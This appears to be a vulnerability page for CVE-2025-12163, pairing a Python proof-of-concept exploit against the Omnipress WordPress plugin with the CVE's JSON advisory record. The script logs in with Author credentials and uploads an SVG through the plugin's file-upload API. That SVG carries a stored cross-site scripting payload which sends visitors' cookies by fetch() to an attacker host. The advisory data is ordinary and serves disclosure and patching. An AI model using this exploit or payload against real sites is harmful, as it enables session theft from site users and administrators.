CVE-2025-12163

import requests import sys # CVE-2025-12163 PoC - Omnipress SVG XSS Exploit # Target: WordPress site with Omnipress plugin <= 1.6.5 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" username = sys.argv[2] if len(sys.argv) > 2 else "author_username" password = sys.argv[3] if len(sys.argv) > 3 else "author_password" # Malicious SVG content with XSS payload malicious_svg = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)"> <script type="text/javascript"> // Steal cookies and send to attacker server var stolen_data = document.cookie; fetch('https://attacker-server.com/steal?data=' + encodeURIComponent(stolen_data)); </script> </svg>''' def exploit(): session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/" } login_response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Upload malicious SVG file via Omnipress REST API upload_url = f"{target_url}/wp-json/omnipress/v1/file-upload" files = { 'file': ('malicious.svg', malicious_svg, 'image/svg+xml') } upload_response = session.post(upload_url, files=files) if upload_response.status_code == 200: result = upload_response.json() svg_url = result.get('url', '') print(f"[+] Malicious SVG uploaded successfully!") print(f"[+] SVG URL: {svg_url}") print(f"[!] When users access this URL, XSS payload will execute") return True else: print(f"[-] Upload failed with status: {upload_response.status_code}") return False if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2025-12163", "sourceIdentifier": "[email protected]", "published": "2025-12-05T06:16:06.053", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Omnipress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.6.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the SVG file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://cwe.mitre.org/data/definitions/434.html", "source": "[email protected]"}, {"url": "https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/omnipress/tags/1.6.3/includes/Core/RestControllersBase.php#L81", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/omnipress/tags/1.6.3/includes/RestApi/Controllers/V1/FileUploadRestController.php#L57", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/omnipress/tags/1.6.3/includes/uploader/FileUploader.php#L106", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/omnipress/tags/1.6.3/includes/uploader/FileUploader.php#L85", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3415108%40omnipress&new=3415108%40omnipress&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/15aabe3b-1b77-4e4e-9710-cf06924dbcbf?source=cve", "source": "[email protected]"}]}}